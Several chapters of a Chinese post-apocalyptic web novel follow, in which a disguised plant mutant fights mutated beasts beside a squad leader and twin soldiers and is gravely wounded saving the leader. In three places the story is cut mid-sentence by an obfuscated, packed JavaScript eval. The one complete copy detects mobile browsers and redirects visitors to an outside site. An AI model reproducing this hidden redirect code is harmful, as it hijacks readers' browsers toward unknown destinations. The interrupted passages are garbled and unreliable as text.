二人又陷入了和异变种的打斗中,还要小心翼翼不被打伤,如果伤口严重还会被感感染。 这将是一场恶战。 明明前一阵子还信誓旦旦地说着森林外围不会有强大的异变种,可现在这种情况,就算没有强大的异变种都很难活下来。 数量太多了,他们会精疲力尽的。 更何况,这里还有着森林中心的异变种。那种强大的威压震得人心发麻。 岁禾站在原地,看着眼前和异变种纠缠的二人,一直都没有动作,好像刚刚救了梵溯一命的根本就不是他一样。 “你快点去帮忙啊!”梵溯挂在树上,着急地叫着:“队长他们要撑不住了!岁禾你快去帮忙啊。” 岁禾抬头看他,面上没什么表情,连平日里那双会笑的眼睛都冷冰冰的,根本不像是他一样。 好在梵溯没有仔细去看,否则就会发现岁禾的不对劲,那双渐变色的眸子此时此刻也变成了红色。 他只是看了一眼梵溯,随后目光就落在前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岁禾的眸子盯着他,“吃了你就知道了。” 傅清洲还在犹豫,藤蔓墙已经快要撑不住了。 “我的藤蔓快要撑不住了,粥粥。”岁禾又说,他手心里幻化出一条粉色的藤鞭,和之前的那条完全一模一样,只是说颜色光泽好像变得有些亮眼了。 而且藤鞭身上还带了刺。 傅清洲没在犹豫,而是张口把那一片叶子含进嘴里。那一瞬间,他觉得浑身都充满了力量,而刚刚混战中消耗的能量也已经回来了。 还没等傅清洲说话,岁禾又上前一步,拍了一下梵烬的肩膀,梵烬扭头看了他一眼。 岁禾抬起手,速度极快地掐着他的下巴,把叶片塞进他嘴里,逼迫着他咽下去。 梵烬瞪大了双眼看着他的动作。明明是军队习武的人,但他的动作反应远没有岁禾那么快。 而且岁禾给他喂的东西,好像在给他增加能量。他想询问着什么,但是傅清洲也没问,梵烬也没开口,只是用探究的眼神看了一眼旁边站着的岁禾。 这个少年远比他想象中的还要厉害,队长到底去哪里拐回来的…… 而且还神神秘秘的。 但是岁禾连看都不看他一眼,站在傅清洲身边,握紧了手里的藤鞭,冷声道:“准备迎战。” 话音刚落,围着他们的藤蔓墙轰然消失,异变种在看见他们之后直接扑上来,岁禾的藤鞭一甩,直接带着前排的异变种往后摔去。 他一边战斗一边对傅清洲道:“粥粥,我不是胆小懦弱的人。” “我想证明给你看,我只是想救你们,因为我们不一定打得过。” “我怕的,是因为我害你们出不去。” 傅清洲左手拿着枪,右手拿着冰剑,不知不觉站在了岁禾身后。 “少废话,我说到做到。” 22. 第 22 章 眼前的异变种被藤鞭掀开,岁禾看着它们,又莫名想到了好久之前和库里尔的事情,他们也是这样战斗,不同的是那时候的岁禾只敢躲在库里尔身后。 库里尔的异能是精神控制,高强度的异能释放能控制异变种让他们互相厮杀,但时间太久了,库里尔的能量撑不住,人也撑不住。 所以后面二人只能趁异变种互相残杀的时候再次逃回森林中央。 时隔多年,岁禾再次出现在森林外围,这次不同的是他不在站在别人的身后。 多少日夜交替,他守着库里尔的尸体不知道过了多久,一直到发臭腐烂变成一具白骨,岁禾都舍不得离开。 他一直认为是自己杀死了库里尔,是因为自己库里尔才死的。他活在自责中,所以当场景再现的时候,岁禾的第一反应就是让他们跑。 跑得越远越好。 这样就能活下来,岁禾也不会因为自己再次害死人而自责了。 他很想出去,可不是用别人的生命换来的自由,他不想要这样的自由。 岁禾像是发了疯一样,异变种一遍又一遍地扑上来,不是向着岁禾,而是他身后的两个人类。 傅清洲和梵烬抵挡着身后的异变种,连远处树上的梵溯也不敢停歇,这一场恶战不知道要循环到什么时候才能结束,但几个人一直在坚持着。 岁禾给的那一片叶子不知道是什么,但二人原本快要耗尽的能量在那一刻瞬间恢复,甚至感觉比之前的还要强大,在体内叫嚣着。 但异变种源源不断地涌出来,仿佛杀不尽一样。 二人只好转变战略,傅清洲选择去对付兽类异变种,而梵烬只能寻找远处隐藏起来的植物异变种。 岁禾的视力在这一片雾蒙蒙的地方里,比所有人都要好上很多。 他给梵烬道出位置:“东南角,西方都有,你的正前方有一大片。” 位置大概知道了,但他们被异种包围着,该怎么出去就变成了问题。 “我给你开路。” 岁禾的话音刚落,梵烬的脚底就出现了无数根藤蔓,藤蔓疯狂生长,在变异种头顶搭成一条藤蔓桥,一直像前延伸。 粉色的藤蔓在异变种头顶,距离它们还有些距离,兽类的异变种根本够不着,只有植物异变种开始挣扎,集力攻击那悬空的藤蔓桥。 梵烬没有犹豫,双拳周围燃起火焰,直接跳上藤蔓桥向前跑去。 这种时候除了信任别无他法。 梵溯坐在树上给他哥打掩护,岁禾让他看清了一片白雾里的事物,他觉得自己的异能好像又能使用了,在无尽的白雾中紧紧盯着梵烬的身影。 傅清洲和岁禾背贴着背,都好像要把后背交给对方一样。 眼前的异种源源不断的,傅清洲有点撑不下去了,再多的能量也会被用完。 岁禾能感觉到傅清洲的疲惫,可他好像也没有办法,异种像是杀不完一样,不知道应该怎么办才好。 他并不想再次上演一次悲剧。 更不想看着这三个人就这么送死。 就在他发呆思考的时候,一头野兽朝他冲来,准确点说是朝身后的傅清洲冲来。 岁禾来不及挥动藤鞭,眼睛不自觉地睁大起来。傅清洲似乎也感觉到了身侧的危险,但他前面还有需要应对的异变种,暂时没有办法逃离。 就在异变种快要扑向傅清洲的时候,地底下忽然钻出一根藤蔓疯狂生长,直直冲向扑上来的异变种。 看着柔软无比的藤蔓刺穿了异变种,鲜红的血液喷洒出来,让二人都愣住了。 “队长!”梵溯收起弓箭,“你没事吧?” “看好你哥!”傅清洲迅速回过神来,一边抵挡眼前的攻击一边看向身侧已经被开膛破肚的异变种,又历声回着梵溯。 岁禾站在有些呆滞,但很快又被异变种的嘶吼声吵得回了神。 “别发呆了。”傅清洲重新站回他身后,“虽然异变种不会攻击你,但也要注意一点。” “如果我死在这里,帮我保护好那梵烬他们。” 岁禾沉默了一下,问:“你们的支援什么时候到?” “不清楚。”傅清洲说:“不确定能不能撑到支援来,所以拜托你了。” 他知道岁禾是有办法逃离这里的,他倒是不奢求自己能带走岁禾了,能不能活下来都是问题,但那两位双生子,暂时还不能葬送在这里。 他们还有更好的未来,还有梦想。 岁禾的能量也所剩无几了,植物本身就需要进行光合作用,但是他缺少阳光太久了,况且现在还是夜晚,不便于岁禾的发挥。 能量也不稳定。 他垂着下眼,眸子里的颜色一直在来回转变,只是他自己并未知道。 梵烬和那群植物异变种纠缠在一起,少了植物异变的伤害,傅清洲已经轻松很多了。 就在他把冰剑换成双刃剑的时候,眼前的异变种忽然往后一推。 更强大的威压好像出现了,傅清洲额间冒出细密的汗水,他看着围着他们的异变种嘶吼着退开。 他不敢轻举妄动,看着那些慢慢后退的异变种,眉头轻轻皱着。 双生子似乎也感受到了不对劲,梵溯放下手中的弓,喊道:“队长!我们打赢了吗?” 梵烬还站在岁禾搭起的藤蔓桥上,看着这些诡异的现象。下一秒,他腰上多了一根藤蔓把他圈住,直直把他拽回来了。 而他刚刚所站的地方,一根巨大的藤条落了下来,带着无数的尖刺,如果梵烬被打中,肯定当场身亡。 他看着那处,只觉得浑身发麻。 如果不是岁禾的话,那他可能就会葬身于此。 “哥!”梵溯赶紧从树上跳下去,一溜烟就跑到梵烬面前,左右检查了一下,立即松了一口气,“吓死我了,我心都要提起来了。” “没事。”梵烬抬手在他头上胡乱搓了一下,“别担心,顾好自己。” 岁禾收起藤蔓,眉心越皱越紧。忽然,他推了一把梵烬,又伸手去拽傅清洲的手腕,“跑!” “趁现在,快跑。”岁禾说。 四个人没来得及犹豫,甚至没等岁禾说完就一股脑地向前跑。 只可惜还是晚了一步。 刚跑出没多远,前面就被竖起巨大的藤蔓挡住了,四人只能紧急停下来。 岁禾抓紧傅清洲的手腕,死死盯着前路,巨大的藤蔓横在路中间,足足有一人之高。 白雾深处,缓缓走来一头巨大的野兽,体型不亚于那天傅清洲二人联手杀死的异变虎,甚至比那只异变虎还要大。 “什、什么东西?”梵溯揉了揉 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梵烬把梵溯护在身后,扭头和梵溯对上视线,“待会儿打起来了,你趁着它们不注意就跑。” “不……”梵溯摇头。 这几只异变种的威压实在是太强了,几个人心里的恐惧一直存留着,但梵溯即使在害怕也不愿意自己一个人丢弃同伴逃离。 “听话。”梵烬裹紧他的手腕,“你现在打不了,你的异能也用不了。” 梵溯还是摇头,“不……哥,我不走。” 岁禾深吸一口气,心底的感觉十分的奇妙,不像是害怕,更像是在兴奋一样。他和傅清洲一直对视着,感受着对方的存在以及心脏跳动。 “不是的。”岁禾摇头,“我能送一个人出去。” “粥粥,把你的能量借给我,我能把你们都送出去。” 岁禾是如此的笃定,完全不是在开玩笑,他不知道自己哪里来的自信,但就是能有此机会。 只要能量足够,他就一定能把三个人一起送出去,可他自己就会留在这里。 “我带你走。”傅清洲拧着眉头。 岁禾摇头,手心上早已凝固的伤口又被他重新撕开,鲜血喷涌而出。 三人皆是皱起眉头,看着都疼的东西,可岁禾硬生生不皱一点眉头,把自己弄得血肉模糊。 梵烬望着他:“我跟队长留下来,能拜托你,送我弟弟出去吗?” 岁禾掀起眸子看他,被血染红的手心落在梵烬的脸上,鲜血沾染了他的脸颊,没等他反应过来,就听见了岁禾淡淡的声音,“看见了吗?我们打不过的。” 梵烬眨了眨眼,眼前的那一片白雾里,他看清了缓缓朝他们走来的异变种面露凶相,是森林之王,狮子的异变种。 岁禾松开了他,走到梵溯面前,巴掌再次轻轻落在梵溯的脸上,鲜血照样糊满了他的脸颊。 梵溯动了动唇,“你不疼吗?” “我记得你的能力,超强视力对吗?”岁禾淡淡地开口:“但是你现在看不清,我的血能让你看清。” 梵溯眨了眨眼,眼前的画面确实比刚刚清楚了很多,仿佛白雾根本就不存在一样。 岁禾又说:“你要利用好你的异能,给大家带路。” “这不是开玩笑。” 23. 第 23 章 一向嬉皮笑脸整天喊累的岁禾突然就变得严肃起来,梵溯觉得这一点都不太好。因为这就代表着他们面临的危险真的很难熬。 “我……”梵溯喉咙发紧,带路的事情交给他,梵溯是有点不敢的。 这是一件很重要的事情,一旦走错了路了,在这种情况下,将会变成死路。 “不用带路了。”傅清洲伸出手搭在岁禾的手腕上,把他的手从梵溯脸上牵回来,掏出不知道从哪里来的纱布给他手心包裹住。 “我说了,会带你走。”傅清洲垂眸给他包扎,“我说到做到,送他们走就好了,我陪你在这里。” 梵烬:“队长,我也留下,把阿溯送出去。” “我不!”梵溯怒道:“凭什么要送我出去?我才不要丢下同伴自己逃离这种地方!” “听着。”梵烬看向他,“阿溯,你能看清路,你出去找救援,好吗?” 岁禾的视线落在傅清洲身上,目光里是震惊,是他说不出来的感觉。 他遇到的第二个人类,用心脏救回来的人类,好像也不坏,和库里尔一样是一个非常非常好的人。 岁禾盯着看了好一会儿,忽然一头扎进傅清洲的怀里。 双生子还在争执,完全没顾得上二人,傅清洲抬起双手想推开他,最后还是没有推开,手心缓缓落在他的肩膀上,轻轻拍了拍。 岁禾的耳朵贴着傅清洲心脏的位置,他能清楚地听见心脏跳动的声音,那曾是和自己融为一体的东西,在傅清洲身上好像也没有任何不适应,反而强有力地跳动着。 “粥粥。”岁禾轻声唤着他,“我不会让你死的。” “梵溯,你出去找救援。”傅清洲点了一下头,忽然朝还在争执的双生子出声道。 “这是命令。”傅清洲又道。 虽然很不服气,但梵溯咬咬牙,拳头捏得紧紧的,最后还是道:“是,队长。” 梵溯偏过头,像是赌气一样不去看他哥。 梵烬收起眼底的情绪,抬起手揉了揉梵溯的头发,“阿溯,乖一点,不是小孩子了,这不是胡闹。” 岁禾从怀里抬起头来,看向那边的双生子,忽然脚底生出细小粉色的嫩芽,疯狂长出根,卷在梵溯的腰上。藤蔓把人捆住,在地上疯狂的滚动,就这样带着梵溯离开。 “哥!”梵溯忽然大喊:“你要保护好自己!” 送走了梵溯之后,梵烬依旧站在原地看着他消失的方向,垂在裤缝的双手骤然握成拳头,最后又松开,重新站在傅清洲身边。 “队长,要怎么办?我听你的。” 傅清洲扭头看了他一眼,道:“保护好自己就行了。” 岁禾动了动,转过身背对着傅清洲,然后看着眼前缓缓走来的异变种,对方看起来并不想打架,一直到现在都没有出手。 那大概就是来找他的了。 岁禾至今想不明白为什么自己不能离开这个森林,他身上到底有什么,非要让他守在这座森林了,连踏出去都不能尝试。 越是阻拦,那岁禾就越想出去。 可如果这一趟离开非要带上两个不相关的人的性命的话,那岁禾还是愿意回到自己的小山洞里。 “我们要拖吗?”梵烬问:“没什么能量了,岁禾……你的叶子还有吗?” 岁禾侧头看向他的眼神有些迷茫,“啊”了一声才想起来自己好像确实给他们吃过一片能补充能量的叶子。 他鼓着脸颊,“你当我是驴吗?我的叶子也需要生长呀。” 再薅就是光秃秃的藤蔓了,本来藤蔓叶子就不多了,更何况他还是小藤蔓。 梵烬被他噎了一下。 傅清洲发出一声轻笑,在这种时候还能笑出来,也只能算他心态真的很好了。 岁禾又扭头瞪了他一眼,“你还笑得出来,都要死啦。待会儿你就下地狱里笑吧。” “刚刚的气势去哪了?”傅清洲抬手掐住他的脸颊,“不是说什么要送我们三个人出去吗?怎么现在就没气势了?” 岁禾冷哼一声,拍开他想手,然后扭过头不理他了。 梵烬似乎也不明白为什么队长现在还有心情逗别人玩,毕竟被三个强大异变种的威压压制的感觉实在不好受,也就他队长能有这种心态了。 就在梵烬疑惑的时候,他身后的巨蟒动了动身体,蛇尾飞快地向三人袭来,准确点的方向是袭向傅清洲,离岁禾最近的人。 傅清洲的高强度精神一直在线着,蛇尾的攻击他也感觉到了,手中幻化出一把冰剑,飞快地向后抵挡住,锋利的冰剑瞬间削掉一小节蛇尾。 巨蟒吐着蛇性子看着他。 傅清洲飞快转身,冰剑横在胸口前,剑身上还沾着几滴鲜红的血往下滴。他和巨蟒那蛇瞳对视上,没有一点害怕的样子。 岁禾转身,拽住了傅清洲的衣角。在和巨蟒对上视线的那一刻,岁禾的心跳动了一下,巨蟒眼中的杀气瞬间转变成了另一种情绪。 是一种岁禾看不懂的情绪。 傅清洲也看出来了,他看着眼前的巨蟒,又看了看身后的岁禾,很确定那就是一种臣服的关系,只是自己身后的岁禾有点害怕地瑟缩在自己身后,和眼前的巨蟒完全不认识的样子。 他的手心动了动。 心中多了一种不太一样的猜想。 “队长,打吗?”梵烬出声询问。 傅清洲咽了咽口水,把心里的想法压下去,然后道:“不,不要出手,改防守。” “它们的目标是岁禾。” 梵烬做防守的状态,又出声询问:“队长,阿溯不在,我多嘴问一句吧,岁禾到底是什么人?为什么大家都冲着他来?” 岁禾有些郁闷,垂下眸子在思考难道是自己的身份暴露了吗?但他觉得自己隐藏异种身份的事情做得很好啊,起码像库里尔教他的那样子好好地隐藏着。 “不知道。”傅清洲淡声道:“他救的我,我打算带他回安全基地,他一个人在这里太危险了。” 梵烬张了张嘴,看见傅清洲的眼神之后,最后还是没问出口,只是看了一眼岁禾,就什么都没说了。 好在岁禾松了一口气,并没有人发现他的身份,那就是最好的。 而现在傅清洲看着眼前巨蟒蛇眼里的情绪时,他忽然又多了一个猜想,岁禾不止是异种,还是一个很强大的异种。 毕竟连眼前这种强大的异变种都能露出臣服的眼神,那岁禾看起来像是王级别的存在。 就算不是,那更强大的异变种,傅清洲已经不敢想了。 就算是大家合伙在一起都打不过的级别吧,起码现在面对的这三个异变种,他们就已经没办法打得过了。 周围那些低级的异变种已经退下了,这一片地方瞬间就空阔起来,但三个异变种缓缓靠近,实在是不太好的趋势。 把岁禾交出去也是不可能的。 “躲我身后。”傅清洲伸手,想把岁禾拽到自己身后。 但是岁禾没动,就这么盯着眼前的巨蟒,忽然冒出来一句话,“我好像认识它。” 二人震惊地望向岁禾,在看清岁禾眼底的颜色的时候,傅清洲一噎,忽然有了一种不太好的猜测。 就像验证了自己之前的猜测一样,一环连着一环。 只是这些猜测都需要得到一定的认证,而岁禾是唯一能认证的人。但傅清洲觉得他似乎是真的不记得这些事情,又或者是一直在瞒着什么。 “你确定?”梵烬出声询问。 岁禾又摇摇头,盯着眼前的巨蟒,最后又吐出一句话,“我不确定……但是有点熟悉的感觉。” 他连自己都说不清这种感觉,只是觉得很奇妙,明明自己没见过眼前的异变种,但就是见过它一样。而且岁禾很确定,自己化成人形之后真的没见过这样人巨蟒。 岁禾刚迈出步子,想上前的时候,肩膀就被轻轻拍了一下,他扭过头,是一根枝条。 绿色的,不像是自己的。 枝条延伸到远处那棵巨大的树上,岁禾“诶”了一声,引得二人又一次看向他。 在看清岁禾身上的东西时,傅清洲脸色一沉,挥起冰剑就劈开缠在岁禾身上的枝条,再次把人护在身后。 这次他很明确的知道了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“粥粥!”岁禾猛地推开傅清洲,那根带着尖刺的枝条来不及收回,直接从岁禾的小腹直接穿过。 藤蔓墙被雾刃拍碎,傅清洲被推得没站稳,堪堪摔了一跤才勉强躲过那半空中的雾刃。 而梵烬腰上的藤蔓忽然一松,蛇尾直直刺过来,也直接刺穿了他的肩膀。 “岁禾!”傅清洲是唯一躲过这次攻击的人,连忙从地上爬起来,“梵烬?” “我……没事。”梵烬皱着眉,“队长,你去看他……” 鲜红的血一点一点滴下来,染红了体内的绿色枝条,岁禾握住那绿色枝条,手心瞬间沾满了血。腥红的眼眸死死盯着那几个异变种,嘴里在呢喃着什么。 绿色枝条仿佛是碰到了什么一样,疯狂地抖动,最后灰飞烟灭。 血流了一地,三个异变种在嘶吼,最后缓缓退去。 岁禾脑袋发晕,往后倒去。 傅清洲连忙上前接着他,把他抱到怀里,看着他小腹上触目心惊的伤口,喉间一紧,心脏忽然开始泛起密密麻麻疼。 “粥粥……”岁禾脸色有些苍白,无力地抬起沾满血的双手,“你们……现在快走……” “它、它们应该……不会回来了。”傅清洲一把握住他的手,如果不是因为救他,岁禾就不会这样。 他的手有些发抖,虽然经历过太多的生离死别,可傅清洲还是第一次经历这样的事情,第一次因为别人救他而死。 他在害怕,因害怕而发抖。 “我、好疼啊……粥粥。” 呼啸的风声在耳边响起来,肩膀上传来一阵刺痛,梵溯眉头紧蹙,抬手捂住了左边的肩膀,看着远处的方向忽然喊了一声:“哥!” 双生子心连心,连痛楚也能感觉到,梵溯想挣扎,可是要腰上的藤蔓裹得很紧,他根本没办法挣扎掉。 忽然,腰上的藤蔓一松,顿时消失不见,梵溯跌落在地上,望着自己逃离出来的方向,最后咬紧牙关,扭头就离开。 “哥,你等等我。” 24. 第 24 章 梵溯一路向外跑着,肩膀上的疼痛不减反增,不知道梵烬现在如何了。 他有点担心,所以只能更快地向前跑,去寻找救援,去寻找人去救自己的哥哥。 梵溯揉了揉眼,逃离那一片雾气之后,他的视线渐渐变得清晰起来,也不在需要用岁禾的血液来维持视线的清晰了。 他根本静不下心来,满脑子都是梵烬的身影,身体上传来的疼痛告诉他梵烬正在经历着折磨,所以梵溯只能一个劲地向前跑。 忽然,他的眼睛瞪圆了起来,看见远处寻着信号弹过来的第一小队的队员。 他欣喜起来,连忙跑过去和他们汇合,“寻姐!安哲哥,救救我哥!” “阿溯,你怎么在这儿?阿烬呢?你们找到队长了吗?信号弹怎么回事?你们遇到危险了?” 梵溯来不及喘息,“哥哥和队长,被好多异变种包围了,你们快去救救我哥吧,快去,我哥受伤了。” “别担心。”何寻开口:“阿溯,你带路,我们现在赶过去。” 秦安哲也点头,和身后那几个小队队员对视了一眼,都决定一起进去找队长他们。 梵溯根本来不及休息,那三个异变种的威压他自己也是清楚的,生怕自己晚了一步就只能看见梵烬的尸体了,他带着第一小队的队员,几乎是马不停蹄地往前赶。 眼前被鲜血染红的泥地上跪着一个人,怀里是刚被刺穿小腹的岁禾。他嘴角溢出一点鲜血,握着傅清洲的手不愿意松开。 他用尽浑身的能量,手心里幻化出一片粉色的叶子,有些虚弱地开口:“这、这个,给他吃吧,他、受伤严重,会感染的……” “你自己吃吧。”梵烬捂着肩膀坐在一旁,连头都不愿意回一下,“你比我还严重。” 岁禾摇了摇头,“粥粥,我好像真的出不去了。” 他说完,手心的叶子飞向不远处的梵烬,慢慢地闭上了双眼。 “岁禾!”傅清洲晃了晃他,“别睡,支援很快就过来了,何寻应该能救你的,你先别睡。” 岁禾半合着眼,“粥粥,好疼啊。” “你晃得我好疼。” 他腹部上的血像是止不住一样,不管傅清洲用什么办法都没办法止住。 梵烬手里拿着那一片叶子,终于回头看向傅清洲怀里的岁禾,鲜血染红了一大片土地,他喉结滚动了一下,抬头去看自己的队长。 他对岁禾其实没什么感情,只是觉得队长要带着就带着,但这一次的打斗中,他确确实实帮了很多忙,而且岁禾y真的很仗义。 梵烬好不容易认可这个看起来娇滴滴的人,结果就变成了这样了,连最后能救命的叶子都给了自己。 傅清洲的心脏一直在发疼,他一手揽着岁禾的脖子,一手在疯狂给他止血,但好像没什么用。 岁禾已经闭上了双眼,呼吸微弱,仿佛下一秒就能断掉了一样。越是这样傅清洲就越着急,他不知道自己是怎么了,反正岁禾就是不能死。 他想的不是因为岁禾是这个末世的关键,而是岁禾这个人不能死,不管是不是末世的关键,而是因为岁禾作为这个人,就是不能死。 他们是互相作战过的,一路走来说没有一点感情是不可能的,而傅清洲还没遇到过这么厚脸皮的人,岁禾是第一个。 “队长……”梵烬出声的时候,才发觉自己的声音有多哑。他有些看不下去了,傅清洲不要命地用自己的能量给岁禾止血,但依旧没什么用。 泥地已经被染红了一大片。 “队长,你这样会耗尽能量晕过去的。”梵烬动了动唇,他手里拿着那一片叶子含进嘴里,明明没有什么味道的叶子,他忽然尝出了一丝苦涩的味道。 手臂上伤口的痛楚在慢慢减轻,梵烬还在感叹岁禾这一片叶子的作用实在是太强了,只是一回神的时候,就看见了被血染红的泥地里,生出了很多嫩芽。 “队长!”梵烬连忙去拽傅清洲,“你看这个。” 傅清洲才恍然回过神来,盯着满地的粉色嫩芽发呆。不知道为什么,傅清洲只感觉自己的心脏好像停了一瞬间,又疯狂地跳动起来。 粉色的嫩芽随风飘扬着,轻轻拂过他们的身体,原本的疲惫一扫而空。 随后嫩芽疯狂生长,将岁禾从傅清洲怀里托出来。傅清洲才反应过来,起身要去把岁禾抢回来。 一根细嫩的藤蔓缠住了他的手腕,傅清洲望过去,只见那粉色的藤蔓像是能读懂人心一样,朝他摆了摆叶子。 傅清洲一下子顿在原地,缓慢地缩回手。眼前的岁禾被藤蔓托着远离,像是蚂蚁搬运食物一样,要把他带去哪里。 他还想起身去追岁禾,那藤蔓又裹紧了他的小腿,粉红色的叶子又跟着摆了摆,随后转了一个圈,像是在生气。 和岁禾的性子还挺像的。 傅清洲无意识地抬起手去摸了摸藤蔓的叶子,那藤蔓好像害羞一样又把叶子蜷缩起来。 远处的岁禾被托到一处空阔的地方,他所到之处皆长满了粉色的藤蔓。在那一处地方停下来之后,原本托着他的藤蔓瞬间疯狂生长,将他团团包围。 傅清洲每次都想上去做点什么,可那根缠绕着他的藤蔓一直在阻挠他,直到看见熟悉的场景,岁禾被藤蔓裹成一个虫茧的模样之后,便放下心来。 藤蔓从傅清洲身上又绕到旁边的梵烬身上,直挺挺地站在他面前晃了晃叶子,没等梵烬回过神来,它又攀上梵烬受伤的肩膀,叶子轻轻抚摸着上面的伤口,梵是叶子所到之处,鲜血都被止住,伤口也在慢慢愈合。 梵烬甚至连一点痛楚都感受不到,在看完这一切之后,二人皆是不可置信地瞪大了眼睛。 原本以为这些藤蔓的安抚能让身体里的疲惫一扫而空就算了,现在梵烬身上那么严重的伤口都能直接愈合。 等做完这一切之后,粉色的藤蔓又绕回傅清洲身边,缠着他的手腕不在有了动作,像死物一样。 “队长。” 沉默了半响,又看见了更加稀奇的事情发生,梵烬终于还是耐不住心中的疑惑去询问傅清洲自己一直好奇的那个问题。 “岁禾到底是什么?” 傅清洲喉结滚动了一下,盯着眼前那个被裹成虫茧的岁禾,一直没有说话。 “这里没有别人。”梵烬又说:“队长,我也不能有知情权吗?” 傅清洲深吸一口气,“你能保证不告诉任何人吗?这是一个很重大的秘密,必须只能由安博士他们知道。” 梵烬皱起眉头,点了一下头期待着傅清洲继续往下说。 “他不是人类。”傅清洲说:“我也不确定,但那是库里尔队长认证过的,如果没猜错的话,他是能化成人形的异变种。” 而本体就是地面上这些粉嫩的藤蔓。 “他以为自己隐藏得很好,所以我也一直没有拆穿。”傅清洲又说:“库里尔队长留下来一句话,带他离开,他会是这个末世的关键。” 梵烬心里一滞,“所以你拼尽全力想把他带出去,就是因为库里尔队长这一句从未被验证的话?队长,你什么时候也变得这么糊涂了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775876|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你明明知道安全基地的大门会有人守着,所有异变种都逃不过他们的判断,你觉得岁禾可以吗?” 傅清洲看向他,“没有别的办法了。阿烬,现在是早上十一点整,天色才堪堪破晓,你知道的,黑夜如果真的永存,我们就一点活下去的办法都没有了。” “人类会毁灭的。” 梵烬喉结滚动了一下,最后什么都没说出口。 四周又安静了好久好久,只能听见沙沙的风声,那些异变种应该已经退去了,二人身体上的疲惫虽然一扫而空,但很多事情折合下来,心里好像比身体还要累。 “那队长你知道些什么?”梵烬忽然又问出声,“他的能力以及他的秘密,你都知道多少?” 被这么一问,傅清洲忽然就愣住了,好像他确实不知道岁禾的能力和秘密,只是隐约觉得他很强,但每次打架之后他都会晕过去。 藤蔓是岁禾的本体的话,植物需要进行光合作用,但现在基本就没有太阳,所以岁禾恢复能量的方式只能靠睡觉吗? 回想起来,傅清洲才发觉自己真的一点都不了解岁禾,平日里只觉得他烦得紧,但现在真正受伤了,没有力气烦他了,他又开始担心害怕了。 他说不清楚这种感觉,傅清洲甚至觉得自己的心脏不是自己的一样,每次岁禾受伤了,自己的心脏每次都跟着刺痛一下。 而且这次岁禾为了救自己,才受这么严重的伤,而傅清洲只能光看着,什么都做不了。他第一次觉得自己这么无能,只能看着同伴在自己身边倒下。 傅清洲一直自以为是对感情淡漠的人,第一小队的队员接到的任务大多数都是凶险无比的地区,所以葬送生命的几率也大大上升。 他见过很多生离死别,也亲手杀死过自己的队员,那早已不是自己的队员了,而是被异变种吞噬的怪物。 可这次看见岁禾倒在自己面前的时候,傅清洲那一颗千年冷漠的心脏,第一次觉得格外的难受,第一次不想他死去。 “队长。”梵烬打断他的思绪,“你会爱上异种吗?” 傅清洲回头看他,不明白梵烬问出这句话的意思是什么,但他一直犹豫着没有回答。 而一边的梵烬似乎笑了一下,“你对他很特别,和我们这些生死相依的伙伴都不一样,如果你真的会爱上他的话,你会抛弃我们,抛弃拯救这个世界的目标吗?” 傅清洲的喉咙哽了一下,他想说自己不会爱上一个异种,不会因为异种而放弃自己在成为第一小队队长的时候立下的誓言。 他一直在坚守。 可当他想说出这些话的时候,心底的那种感觉越是难受,迫使他无法开口把那些无关紧要的话语说出来,更没办法回答梵烬那些问题。 最后,他还是什么都没说出口。 甚至还在为岁禾辩解,“他身上有很多秘密,他自己可能都记不清很多事情,阿烬,忘记今天这些事情,好吗?” “你就当他是正常的人类,和我们一样是觉醒异能的人类。” 梵烬抿着唇,看向傅清洲,“队长,你从未这么维护过一个人。如果他伤害人类的话,那我会亲手杀死他,不管你那时候是否已经爱上这个异种。” “我都会杀死他。” 从傅清洲无法回答他的问题开始,从他们认识这么多年开始,梵烬觉得百分之八十的可能性,傅清洲会爱上他眼前的异变种。 因为傅清洲从始至终,都对这个异变种完全有着不一样的待遇。 心动的第一步是心软。 25. 第 25 章 这一次岁禾并没有接受太久的淬炼,上一次是傅清洲单独一个人守着他的时候睡着了。 旁边的二人都不敢松懈,生怕那些撤离的异变种会再次杀回来。 把岁禾裹成虫茧的藤蔓慢慢地退开缩回地里。而岁禾被重新以蚂蚁运输食物的方式被送回了傅清洲的怀里。 身边的藤蔓全数退开,地面恢复原样,好像那些藤蔓从未出现过一样。 傅清洲看着怀里的人,愣了一下。忽然想起来梵烬说的那些话,他不自觉地看向岁禾那张苍白的脸。 岁禾很有少年相,眉眼柔和,那张脸因为伤口而泛白,眉头微微皱着,薄唇也抿成一条线,似乎在梦里都过得不太好。 他的伤口已经止住了血,但腹部的伤口还是很明显,傅清洲手指动了动,想找些东西给他包扎起来,可他忘记了,纱布什么的都被用完了。 没有东西包扎,狰狞的伤口露出来,岁禾替他挡下伤害的那一幕又出现在眼前。以及梵烬说的那些话,仿佛萦绕在他耳边,根本就没法散去。 越想这些事情,傅清洲越觉得怀里的人像是烫手山芋一样,抱也不是,不抱也不是。 越是这样,他就越心虚,越对自己没底。 傅清洲喉结滚动了一下,在内心的纠结里,他依旧盯着岁禾看,莫名觉得他好像长得还挺好看的,如果醒来不会一直烦着他就好了。 “吃点。”梵烬不知道什么时候去找了些野果回来,重新坐在傅清洲旁边,把野果递过去给他。 傅清洲愣了一下,抬起手接过放在嘴里咬了一口,有点涩,不是太好吃。 和岁禾每次找的都不一样。 